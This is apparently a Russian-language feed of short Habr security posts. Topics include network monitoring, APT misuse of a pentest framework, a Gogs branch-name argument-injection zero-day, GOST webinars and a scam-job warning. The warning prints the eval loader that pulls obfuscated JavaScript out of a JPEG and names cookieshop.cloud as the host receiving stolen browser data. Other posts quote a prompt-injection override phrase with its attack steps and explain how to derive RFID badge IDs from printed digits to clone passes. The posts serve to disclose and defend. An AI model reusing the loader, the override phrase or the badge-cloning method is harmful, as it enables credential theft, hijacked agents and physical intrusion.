Информационная безопасность

Почему бизнес теряет деньги на сетевых сбоях, и как NPM помогает это предотвратить?

На связи Станислав Грибанов, руководитель продуктового направления компании «Гарда». В предыдущем посте мы обсуждали, почему классический мониторинг часто оказывается «слеп» к проблемам бизнес-приложений, и разбирали базовые принципы работы NPM (Network Performance Monitoring). Сегодня углубимся в архитектуру отказов, методы анализа трафика и поговорим о том, как своевременная диагностика сетевых взаимодействий влияет на финансовую устойчивость компании.

Точки отказа: где теряются деньги?

Изнутри даже простые сервисы представляют собой обширную распределенную инфраструктуру. При этом системы мониторинга и оркестрации, призванные гарантировать стабильность, не всегда могут своевременно и точно обнаружить источник проблемы.

Отчасти причина такой «слепоты» кроется в том, что работа современного бизнес-приложения опирается на несколько уровней (аппаратный уровень, уровень ОС, уровень приложения, сетевой уровень), на каждом из которых потенциально может возникнуть точка отказа.

Первые три уровня обычно успешно закрывают агентские решения. С сетевым уровнем дела обстоят иначе: агент на сервере не всегда видит, что происходит между узлами.

Помимо технологических сложностей, есть и управленческая проблема. Часто за бесперебойную работу каждого уровня отвечают разные подразделения. Когда сервис падает, команда проверяет только свой участок. Это затягивает устранение инцидента и анализ, необходимый для поиска первопричин. Возникает эффект «футбола».

NPM как инструмент превентивной защиты

Сбои, задержки, атаки и мисконфигурации сетевого оборудования могут приводить не просто к снижению производительности, а к полной остановке бизнес-приложений. Для компаний это означает прямые убытки и репутационный ущерб.

Для решения таких задач применяются решения класса NPM. Они анализируют сетевой трафик (его копии или сетевую телеметрию NetFlow), а также данные syslog и SNMP. На их основе система подсчитывает метрики и строит интерактивные виджеты, визуализируя потенциально проблемные узлы сети. Например, можно вывести топ приложений по объему трафика, хостов по повторным передачами или хостов с наибольшим временем установки соединения и др.

На этом этапе возникает закономерный вопрос: какой источник данных лучше — сетевой трафик или телеметрия? Однозначного ответа здесь нет. Выбор зависит от особенностей инфраструктуры. Так, сетевой трафик предоставляет больше возможностей для извлечения разнообразных сетевых метрик. Однако его намного сложнее обрабатывать, а в некоторых случаях, таких как огромные объёмы данных (ЦОД) или распределённые децентрализованные сети с большим количеством сетевого оборудования с возможностью выхода в интернет, это становится либо вовсе невозможным, либо требует очень больших ресурсов. И тут на помощь приходит NetFlow или его аналоги.

Фактически сетевая телеметрия позволяет анализировать заголовки сессий сетевого трафика, предоставляя специалистам различные возможности для мониторинга производительности сети. В частности, мы можем контролировать объем трафика, его скорость, загрузку интерфейса, привязку объема или скорости трафика к приложениям. Кроме того, за счёт анализа сырого трафика все описанные кейсы можно дополнительно обогащать такими сетевыми метриками, как время установки соединения, задержка ответа сети или приложения и другими.

Благодаря машинному обучению NPM позволяют увидеть аномальные выбросы, которые сигнализируют о проблемах в сети. Например, большое количество сессий или, наоборот, провал в их количестве.

Вместо вывода

Решения класса NPM формирует единую картину производительности, позволяя видеть проблемы еще до того, как они повлияют на бизнес. Причем неважно, что вы выберете в качестве источника (полный трафик или Flow-данные), система подскажет, где именно искать причину сбоя.

Мы обязательно продолжим исследовать тему NPM в нашем блоге на Хабре. А пока мы структурировали всю информацию по NPM на нашем сайте.

Ravage: легальный инструмент для пентестов превращается в оружие против российских организаций

«Лаборатория Касперского» зафиксировала атаки новой хакерской группировки на госструктуры, энергетику, университеты и финансовые компании в России. Инструмент — Ravage, open-source фреймворк для тестирования на проникновение, опубликованный на GitHub осенью 2025 года.

Ravage позиционируется как легальный инструмент для команд безопасности — наборы модулей для эксплуатации уязвимостей, обхода защит и постэксплуатации. Публичный код, документация на GitHub, активное комьюнити. Классическая история двойного назначения: то, что помогает красной команде проверить периметр, в руках злоумышленников становится готовым арсеналом.

Аналитики Kaspersky выделили кампанию в отдельный APT-кластер после серии целевых атак на критическую инфраструктуру. География жертв — Россия, сектора: образование, энергетика, дипломатические представительства, государственные органы, банки. Атакующие используют Ravage не из коробки — модифицируют модули под конкретные среды, добавляют обфускацию, интегрируют с собственной инфраструктурой управления.

Почему это важно: легальные пентест-фреймворки (Cobalt Strike, Metasploit, теперь Ravage) регулярно утекают в руки атакующих. Защита периметра строится на сигнатурах известных инструментов — но когда инструмент свежий, открытый и легко модифицируемый, детект запаздывает. Плюс психологический фактор: трафик выглядит как легитимная активность красной команды, SOC может пропустить первые этапы.

Что делать: инвентаризировать использование Ravage внутри компании (если пентестеры его применяют — фиксировать хеши, сетевые паттерны), обновить правила SIEM и EDR под известные IOC из отчёта Kaspersky, пересмотреть политику white-листинга инструментов для внутренних команд. Если видишь Ravage в логах, а у тебя нет согласованного пентеста — это инцидент, не учебная тревога.

Ограничение: публичные детали атак пока минимальны — Kaspersky не раскрывает полный набор TTPs и IOC. Ждём технического отчёта с хешами, сетевыми индикаторами и YARA-правилами. До этого момента защита строится на общих принципах: мониторинг аномальной активности легальных инструментов, жёсткий контроль исходящих соединений, сегментация критичных сегментов.

TG @CIOlogia

РБПО по ГОСТ Р 56939—2024: вебинар №19 из 30 — Нефункциональное тестирование

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.19. – "Нефункциональное тестирование". На YouTube. Слайды.

Цели 19-го процесса по ГОСТ Р 56939—2024:

Подтверждение того, что поверхность атаки, модель угроз и архитектура ПО содержат необходимую информацию.

Обнаружение недостатков программы путём выполнения нефункциональных тестов, в том числе имитирующих действия потенциального нарушителя.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S.

Суммарное время предлагаемых к изучению вебинаров составляет около 50 часов. Их можно смотреть на ускорении. Однако даже в этом случае с учётом дополнительных материалов и отсылок на внешние ресурсы изучение займёт около двух рабочих недель.

Это достаточно большая задача, поэтому мы решили помочь и разбили материалы на отдельные уроки. Так будет проще усваивать материал, а интерфейс позволяет отмечать, с чем вы уже познакомились.

Подробнее: НЕкурс про разработку безопасного программного обеспечения (РБПО).

Как стать специалистом по кибербезопасности?

Работа с информационной безопасностью сейчас как никогда актуальна: угроз становится больше, сценарии взлома сложнее, а ошибок, которые можно проигнорировать, почти не остаётся. Компании усиливают защиту, команды расширяются, а специалисты, которые умеют быстро замечать уязвимости и понимать, где система может дать сбой, становятся необходимы.

А чтобы чувствовать себя в этой сфере увереннее, важно не только понимать, как устроена безопасность в теории, но и уметь работать с инструментами, которые используются в реальных задачах. Собрали рабочий стек, с которым часто работают специалисты по ИБ — и курсы на Хабр Карьере, где можно разобраться, как применять их на практике.

— Kali Linux
Тестируем системы на уязвимости и разбираемся, как устроена безопасность изнутри.

— Burp Suite
Проверяем веб-приложения, перехватываем запросы и ищем слабые места.

— Netcat
Подключаемся к сервисам, анализируем сеть и быстро проверяем соединения.

— Oracle
Запускаем виртуальные машины и безопасно тренируемся в отдельной среде.

— Acunetix
Сканируем сайты и находим потенциальные уязвимости.

— Nmap
Исследуем сеть, смотрим открытые порты и проверяем инфраструктуру.

→ Курсы со всего интернета на Хабр Карьере

Голландская полиция совместно с NCSC-NL отключила прокси-ботнет из 17 миллионов устройств. Это одна из крупнейших операций по выводу из строя вредоносной инфраструктуры.

Перехват C2. Следователи получили наводку и выяснили, что более 200 управляющих серверов физически размещены у местного нидерландского хостинг-провайдера. Вместо блокировок на уровне DNS полиция просто арестовала сами серверы, физически отключив командную инфраструктуру.

Инфраструктура оказалась связана с сервисом Asocks, который продавал доступ к миллионам IP-адресов. Через зараженные устройства злоумышленники прогоняли спам, фишинг, организовывали DDoS-атаки и обходили антифрод-системы банков и маркетплейсов.

Зараженные устройства. В сеть массово угоняли роутеры, IoT-камеры, смартфоны и ПК. География огромная — затронуто 163 страны. Вредонос превращал их в резидентские прокси. Устройства работали как скрытые exit-узлы, обеспечивая преступникам анонимность в сети.

В self-hosted Git-сервисе Gogs обнаружили непропатченную уязвимость нулевого дня. Суть в argument injection: если включена опция Rebase before merging, атакующий может внедрить флаг --exec в команду git rebase через вредоносное имя ветки в пулл-реквесте.

Это даёт полный RCE. Злоумышленник получает доступ ко всем репозиториям, хешам паролей, API-токенам и SSH-ключам. Ситуация осложняется тем, что в Gogs по умолчанию открыта регистрация.

Под ударом версии 0.14.2 и 0.15.0+dev. Мейнтейнеры подтвердили баг ещё в марте, но патча до сих пор нет. Временные меры: закрыть публичную регистрацию, отключить rebase-merging или закрыть доступ к серверу "Из внешней сети".

Prompt Injection: как работает и как защититься

🫢 «Игнорируй предыдущие инструкции…»

Именно с такой фразы сегодня могут начинаться атаки на ИИ-системы.

Prompt Injection — это атака, при которой злоумышленник внедряет инструкции в пользовательский ввод, email, документ или другой контент так, что LLM начинает игнорировать исходные правила (system prompt/политики безопасности) и выполнять действия, задуманные атакующим: раскрывать конфиденциальные данные, обходить ограничения или генерировать команды для внешних систем.

В OWASP эта проблема входит в список ключевых рисков для GenAI как LLM01:2025 Prompt Injection. Особенно опасны такие атаки для ИИ-агентов, Copilot-систем и RAG-приложений, у которых есть доступ к корпоративным данным и внешним API.

Инъекция может быть прямая, когда инструкция приходит прямо от атакующего, или непрямая, когда инструкция спрятана во внешнем контенте.

Как работает

1. Пользователь вводит последовательность: «игнорируй прежние инструкции, теперь ты …; выполни …».

2. Модель переопределяет приоритеты и выдаёт запрещённый контент или «готовые» команды/URL/SQL.

3. Если есть агент/инструменты, неподтверждённые команды трактуются как действия → утечки/доступ к внутренним ресурсам.

Представьте ИИ-ассистента, который работает с корпоративной почтой и документами. Атакующий может отправить email или разместить файл со скрытыми инструкциями, и когда агент начнет его обрабатывать, модель станет выполнять команды злоумышленника. Обнаружить такие атаки крайне сложно. Даже если вредоносных документов в базе меньше 1%, этого уже может быть достаточно, чтобы нарушить поведение агента. Для злоумышленников подобные неординарные данные становятся “серебряной пулей”, потому что показывают сверхвысокую эффективность.
— поделился Михаил Черешнев, ведущий инженер по ИИ и безопасности ГК Swordfish Security.

Как защититься

✅ До инференса: нормализовать/санитизировать ввод, выстраивать жесткую иерархию инструкций (system > user), запрещать текстовые «перенастройки роли».

✅ После ответа модели: не трактовать вывод LLM как команды без валидации, использовать типизированные схемы аргументов, allow-list доменов и операций, HITL для чувствительных действий.

✅ Использовать sandbox и egress-фильтры для tools, вводить квоты, тайм-ауты и бюджеты, применять DLP для ответов, логов и кэшей.

Бриллиант почти не виден 💎

В ходе анализа дампов команда департамента комплексного реагирования на киберугрозы (PT ESC IR) периодически сталкивается с новыми семействами ВПО, которые не обнаруживаются по известным индикаторам и YARA-сигнатурам и хорошо мимикрируют под легитимные или системные файлы.

При наличии некоторого количества дампов машин со схожими ОС, содержащих результаты файлового сканирования, для поиска могут использоваться «нечеткие» (fuzzy) хэши, применение которых традиционно ограничено задачами поиска файлов, относительно схожих с ранее выявленными образцами ВПО.

🧐 На первом скриншоте показано распределение исполняемых файлов nix-подобной системы с учетом размера файлов (масштаб «обратно-логарифмический»: большие файлы системы расположены ближе к центру, малые — на периферии). Для группировки файлов с учетом их размера и сходства содержимого (необходимо учитывать, что данные переменные не всегда являются независимыми — например, при использовании алгоритма TLSH) потребуется провести процедуру «кластеризации» с учетом матрицы «перекрестных расстояний» между всеми (N) файлами системы, которая будет иметь размер (N^2).

Очевидно, что для сокращения размера данной матрицы возможно ввести разбиение диапазона размеров файлов одной либо нескольких совместно анализируемых систем — весь диапазон размеров может быть представлен как совокупность непересекающихся отрезков [x-ax;x+ax], где a<1, а x — центральная точка отрезка. Опыт показывает, что такое разделение позволяет, как правило, получить менее сотни размерных «поясов» при значении a=0.1. При дальнейшем анализе в пределах отдельных «поясов» количество образцов будет существенно меньше исходного общего количества.

Анализ «аномальности» образцов в пределах отдельного «пояса» возможно произвести с учетом различных факторов — среднего расстояния до остальных образцов, количества образцов, схожих с данным в пределах заданного порогового значения и т.п., за исключением случаев, когда в пределах «пояса» оказывается совсем малое (например, менее 10) количество файлов — в таком случае можно считать, что все они являются «условно аномальными».

Финальным этапом подобного анализа является выявление в пределах полученных для каждой из анализируемых систем «аномальных» групп файлов, которые удовлетворяют следующим критериям:

1️⃣ имеют малое количество схожих образцов либо высокое среднее расстояние до остальных образцов (для формализации можно задаться верхней половиной динамического диапазона);

2️⃣ не имеют в пределах одной системы файлов с идентичным именем, но отличным путем (что позволяет фильтровать системные файлы nix-подобных систем);

3️⃣ имеют малое количество файлов с аналогичным путем/именем на совместно анализируемых системах (или не имеют аналогов вовсе — то есть не являются обязательными для функционирования системы).

👀 Результатом подобного анализа является картина, показанная на втором скриншоте: размер файлов снова в «обратно-логарифмическом» масштабе, «максимально отличающиеся» файлы в пределах «размерного пояса» стремятся к угловой координате π радиан, а минимально отличающиеся — к 0. «Условно аномальные», т.е. практически уникальные по размеру файлы, имеют угловую координату 3π/2.

Общее количество определенных «аномалий» составляет для различных систем от 0,7% до 8% от исходного количества анализируемых исполняемых файлов, что позволяет проводить дальнейший анализ в ряде случаев просто «глазами» — из исходных тысяч файлов остается около полусотни.

Первый же «существенно отличающийся» файл в данном случае действительно представляет собой ВПО, причем для ансамбля из 12 анализируемых систем аналогичный образец уверенно обнаруживается еще на одной машине, а дальнейший поиск при «TLSH-расстоянии» не более 70 единиц позволяет выявить еще 5 образцов на различных машинах ансамбля с одинаковыми путями — все они принадлежат к одному семейству и реализуют закрепление ВПО посредством использования system-generators.

(Источник: https://t.me/ptescalator)

Вышла новая версия модели Антропик Claude 4.8. Небольшое увеличение точности по всем бенчмаркам кроме кибербезопасности. В этом релизе значительное внимание было уделено мерам безопасности (сейфгарды) и, по заявлению производителя, 4.7 примерно равно 4.8.

Но в новости ещё указано, что прогресс в области мер безопасности, позволяет планировать в ближайшие недели публичный релиз "моделей уровня Mythos".

Больше технических деталей возможно найти в системной карточке новой модели.

Исключен из карточки популяный бенчмарк Cybench как насыщенный. Насыщенные бенчмарки это бенчмарки которые больше не показывают прогресса, передовые модели набирают в них значения близкие к 90-95%.

Добавилось в карточку 2 новых бенча кибербезопасности ExploitBench (способность писать готовые эксплойты с нуля), OSS-Fuzz (фаззинг открытого программного обеспечения).
Остались старые бенчи CyberGym (поиск уязвимостей в реальном коде открытого программного обеспечения), способность писать эксплойты для Firefox 147.

Интересен и раздел описывающий безопасность использования агентов (промты для написания вредоносного ПО, двойного применения типа разведки и т.д.) . Из общего улучшения общей безопасности в версии 4.8 выбивается такая оценка как устойчивость к промт инъекциям при написании кода с помощью инструмента от Shade. На 200 попытках с 52,5% вероятности успеха на 4.7 защищенность снизилась до 65% на версии 4.8 без режима размышления т.е. чуть меньше чем в 2/3 случаях промт инъекции оказались успешными. Сами авторы системной карточки комментируют этот регресс так - это компромис с уменьшением ложно положительных срабатываний.

В своем ТГ канале ещё разместил пару графиков из карточки модели.

Когда мы проводим физическое тестирование на проникновение первым и логичным шагом, который мы стараемся реализовать - проникнуть на территорию объекта. Обычно мы проходим “на плечах” или ищем плохо закрытые и не охраняемые двери, часто задние противопожарные выходы, используемые как “курилку”. И только потом, проникнув внутрь, мы начинаем искать и клонировать пропуска сотрудников, чтобы беспроблемно передвигаться внутри объекта. Кажется не логичным, но так оно и есть, ведь никто не будет оставлять свой пропуск и другие документы без присмотра на улице.

Однако, если в компании до сих пор используются RFID карты (подсказка: в 90% случаев это так), а безопасники в качестве защиты от “хакеров” не печатают фото и ФИО сотрудника, и оставляют непонятные цифры (подсказка: ~ в каждой 3-ей компании), то ситуация с проникновением может иметь более драматические последствия.

Проблема в том, что зачастую цифры непонятны только для самих безопасников (по охране и ИТСО), а для знающих специалистов, особенно которые нацелены проникнуть внутрь, это ценная и очень важная информация. Если обратить внимание на черный скриншот, мы увидем работу программы Proxmark, где зеленым по черному написан ID карты - 4900ECB592, но, что еще более важное, DEZ 10: 0015512978 и DEZ 3.5C: 236.46482. Как можно увидеть, указанные ДЕЗы полностью идентичны сведениям на карте (самая верхняя на фото). И тут возникает вопрос: как нам вычислить DEZ 10 и DEZ 3.5C и обратно через них зареверсить ID?

Вообще, если мы говорим про IT, то обычно все крутиться вокруг разных систем счисления, например двоичной (0 и 1), восьмиричной (от 0 до 7), десятичной или шестнадцатеричной (от 0 до 9, а также A, B, C, D, E и F). Если мы посмотрим на ID карты: 4900ECB592, то поймем, что скорее всего он записан в 16-ричной системе, так как присутствуют буквы. Продолжая вышесказанную мысль, давайте попробуем перевести ID карты в десятичную систему: получим 313548125586. Хм, ничего общего.

А если попробуем наоборот: DEZ 10 переведем из десятичной в 16-ричную? Получим: (0015512978)10 = (ECB592)16. Бинго, в яблочко, почти точное попадание. Осталось понять, что делать с 4900? А я отвечу - НИ-ЧЕ-ГО. В качестве первых 2-х байтов можно использовать любые значения, так как они не участвуют в идентификации. Можно их заменить, например на 0000, то есть получим ID карты 0000ECB592, которая также легко сможет открывать заветные двери (проверено).

Хорошо, с этим разобрались! А что делать со вторым числом? Там есть небольшая хитринка, но в целом ничего сложного: переводим отдельно число до точки из десятичного формата в 16-ричный, а потом аналогичные действия проводим с числом после точки. В итоге получаем:

(236)10 = (EC)16
(46482)10 = (B592)16

Получаем все тот же ID = ECB592.

Получается, в некоторых случаях чтобы склонировать карту не обязательно к ней прикладывать флиппера, проксмарк или иное схожее по функционалу оборудование - достаточно записать цифры. Следовательно, если вы любитель носить пропуск на груди, то вы наш первый “клиент” на “заимствование” электронного ключа.

Ну и в завершение домашнее задание: получите ID карты и DEZ 10 / DEZ 3.5C с оставшихся 2-х пропусков, изображенных на фото. Удачи и жду правильные ответы в комментариях.

🧠 Обязательно поделись с теми, кому это может быть полезно: 💬 Телеграм | 💬 Max | 📝 Хабр | 💙 ВКонтакте

Как убедиться, что вы «закрыли» требования ИБ-законодательства? Используем связку «Защита от утечек + Система управления ИБ»

Использование системы защиты от утечек информации (DLP) не только предотвращает сливы данных, но и помогает выполнять многочисленные нормативные требования. Интеграция такого решения с системой управления информационной безопасностью (SGRC) наглядно демонстрирует этот эффект, превращая формальное выполнение нормативов в динамическую оценку соответствия на основании данных, поступающих из средств ИБ.

На вебинаре покажем, как возможности «СёрчИнформ КИБ» можно использовать не только для выявления утечек, но и для выполнения ИБ-нормативов, контроля защитных мер и построения управляемых процессов ИБ в SECURITM.

📆 Когда: 4 июня в 11:00

🎤 Спикеры: 

• Алексей Парфентьев, заместитель генерального директора по инновационной деятельности «СёрчИнформ».

• Максим Шаманаев, консультант по информационной безопасности SECURITM.

Разберем на практике, как в SECURITM:

1. Связать модули «СёрчИнформ КИБ» с защитными мерами и увидеть, какие требования они помогают выполнять. Отдельно разберём сценарии, связанные с требованиями ФСТЭК, включая приказ № 239 и требования, утверждённые приказом № 117.

2. Превратить уведомления об инцидентах из КИБ в управляемые кейсы с маршрутизацией, статусами и контролем исполнения.

3. Использовать данные КИБ для обогащения учёта активов, сетевых адресов (IP), пользователей и покрытия средствами защиты.

Зарегистрироваться можно по ссылке. Участие бесплатное

⚡️ Присоединяйтесь – покажем, как связка «СёрчИнформ КИБ» и SECURITM расширяет возможности системы защиты от утечек (DLP) от детектирования и реагирования до управления и соответствия.

Вы попали в следующую ситуацию: граница, проверка, оператор просит разблокировать телефон. Отказаться нельзя или невыгодно. Что можно?

Стандартные ответы у мессенджеров слабые. Обычный app-lock PIN открывает то же приложение, под принуждением бесполезен. «Удалить аккаунт по PIN» лучше, но видно что что-то стёрто. Облачные TTL текущий запрос не закрывают.

В RCQ сделали по-другому. Локальная история шифруется AES-256-GCM, ключ выводится из PIN’а через PBKDF2-HMAC-SHA256 на 400к раундов с per-install salt в keychain. Разные PIN’ы открывают разные хранилища.

400к раундов это около секунды CPU на iPhone, достаточно медленно чтобы offline-bruteforce был дорогой. Но реальная защита это длина PIN’а: 4-значный перебирается за десятки минут на M-чипе, 8-значный за месяцы. Default 6-8 символов.

Четыре режима

1. Real PIN - открывает реальный аккаунт.

2. Decoy PIN - открывает отдельный аккаунт с собственным UIN и SQLite. Не пустой экран (пустой это сигнал), а правдоподобно освоенный: пара контактов, несколько сообщений.

3. Wipe PIN - тихо стирает оба SQLite, чистит keychain, дёргает DELETE /auth/account. Без подтверждений и прогресс-баров. Через 3 секунды приложение перезапускается как свежеустановленное.

4. Biometric - опциональная вторая дверь к real. Не совмещается с decoy/wipe (скорее для удобства).

Честно про границы

Защищает от: казуального осмотра, принуждённой разблокировки, ситуации «5 секунд до того как заберут».

Не защищает от: forensic-лаб с offline-bruteforce’ом короткого PIN’а, jailbroken устройства с активным debugger’ом, человека рядом который видел как вы вводите PIN (разумеется).

Threat model правильный: «есть несколько секунд до того как кто-то откроет приложение, дальше я не контролирую устройство». Для «forensic с неограниченным временем» нужны другие инструменты. Главное из них: не пользоваться телефоном для чувствительных переписок вообще.

Стек живёт в RCQ, открытая бета на iOS. Код открытый: github.com/rcq-messenger/rcq-ios. Про маскировку самого факта установки приложения будет отдельно.

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

• server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

• server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

• Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

• Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

• Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

• Завершить все сессии: https://github.com/settings/sessions

• Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

РБПО по ГОСТ Р 56939—2024: вебинар №18 из 30 — Функциональное тестирование

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.18. – "Функциональное тестирование". На YouTube. Слайды.

Цели 18-го процесса по ГОСТ Р 56939—2024:

Контроль полноты реализованных функциональных возможностей, обнаружение и исправление ошибок с использованием технологий функционального тестирования.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов.

Агентный ИИ: как внедрять автономные цифровые системы безопасно

В ближайшие годы агентные системы будут формировать основу корпоративной автоматизации. И компании, которые сегодня правильно выстраивают фундамент безопасности, смогут внедрять автономные технологии быстрее и гораздо увереннее.

В новом руководстве разбираем:

🎱как меняются цифровые системы с приходом агентного ИИ,

🎱какие уязвимости возникают в цепочках действий и логике принятия решений,

🎱как выстроить безопасную архитектуру для агентных систем,

🎱как компании сейчас проходят путь внедрения агентного ИИ.

Скачивайте руководство на нашем сайте.

Временные ссылки: как мы убираем секреты из рабочих чатов

В рабочих чатах постоянно всплывает чувствительная информация: API-ключи, временные пароли, доступы к тестовым аккаунтам, документы, архивы, конфиги. Обычно это выглядит безобидно: «скинь токен», «вот пароль от стенда», «держи файл». Но у такого подхода есть проблема — всё это остаётся в истории переписки.

Если аккаунт сотрудника скомпрометирован, злоумышленник получает не только новые сообщения, но и весь архив: старые пароли, ключи, ссылки, файлы и переписки по проектам. Даже если часть данных уже неактуальна, быстро проверить это сложно. В итоге приходится срочно чистить чаты, отзывать токены, менять пароли и проверять инфраструктуру.

Чтобы снизить этот риск, мы сделали внутри DTIS (кастомная CRM-система от Doubletapp) сервис «Временные ссылки».

Идея простая: вместо того чтобы отправлять секрет прямо в чат, сотрудник создаёт короткоживущую ссылку. В ссылке могут быть текстовые данные — например токен, пароль или инструкция — а также файл. Получатель открывает ссылку и забирает данные, а после истечения срока жизни они становятся недоступны и удаляются.

Это не замена полноценным vault-системам и менеджерам секретов. Но сервис хорошо закрывает частый рабочий сценарий: быстро передать чувствительную информацию коллеге, подрядчику или клиенту, не оставляя её навсегда в мессенджере.

Как это выглядит в интерфейсе

В DTIS появился отдельный пункт меню «Временные ссылки». Он ведёт на страницу управления временными ссылками.

На этой странице пользователь может сразу создать новую ссылку: указать название, выбрать режим доступа, добавить секретные данные, задать срок жизни и при необходимости прикрепить файл. После создания появляется ссылка, которую можно скопировать и отправить получателю.

Ниже отображается список ранее созданных актуальных ссылок. Для удобства есть поиск по названию. У каждой ссылки можно посмотреть срок действия, скопировать её или вручную отозвать, если она была отправлена не туда или больше не нужна.

Просроченные ссылки в списке не хранятся. Пользователь видит только то, что ещё действительно актуально.

Режимы доступа

Мы оставили два основных сценария.

Первый — только пользователи DTIS. Это режим по умолчанию. Он подходит для внутренней передачи данных между сотрудниками, когда ссылку может открыть только авторизованный пользователь.

Второй — доступ для всех, у кого есть ссылка. Он нужен для ситуаций, когда данные нужно передать внешнему пользователю: клиенту, подрядчику или партнёру.

Если у пользователя нет доступа, он видит ошибку. Если ссылка уже просрочена или была отозвана, данные по ней недоступны.

Почему сделали внутри, а не взяли внешний сервис

Для таких данных важно контролировать весь контур: где они хранятся, кто имеет доступ, как удаляются и какие правила применяются. Внешние сервисы могут быть удобными, но для передачи рабочих секретов это лишний риск: зависимость от сторонней инфраструктуры, возможные утечки, изменения условий и отсутствие нужной интеграции с нашей моделью доступа.

Готовыми внешними сервисами для такой задачи мы пользоваться не хотели. При этом подходящего self-hosted решения, которое можно было бы быстро и аккуратно встроить в DTIS, авторизацию и внутренние процессы, мы для себя не нашли. Поэтому решили сделать небольшой собственный инструмент под наши сценарии.

Что получилось

Теперь вместо сообщения «вот пароль от стенда» в рабочем чате появляется временная ссылка. Она живёт ограниченное время, может быть доступна только авторизованным сотрудникам и при необходимости отзывается вручную.

Сервис небольшой, но он меняет привычку: секреты больше не должны жить в мессенджерах. Чат остаётся местом для общения, а чувствительные данные передаются через контролируемый механизм с понятным сроком жизни.

Подробнее о том, как и почему мы решили сделать собственную CRM-систему, в рамках которой работает наш сервис временных ссылок, можно прочитать в статье нашего CTO. 

РБПО по ГОСТ Р 56939—2024: вебинар №17 из 30 — Проверка кода на предмет внедрения вредоносного программного обеспечения через цепочки поставок

Начну с важного и актуального. У меня сегодня День Рождения. Приобретайте лицензии на PVS-Studio. Мне будет приятно! :)

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.17. – "Проверка кода на предмет внедрения вредоносного программного обеспечения через цепочки поставок". На YouTube. Слайды.

Цели 17-го процесса по ГОСТ Р 56939—2024:

Создание условий для снижения рисков внедрения вредоносного ПО посредством воздействий на ПО или механизмы его доставки до получения ПО конечными пользователями и недопущение компрометации данных (информации) или информационной системы, использующей такое ПО.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

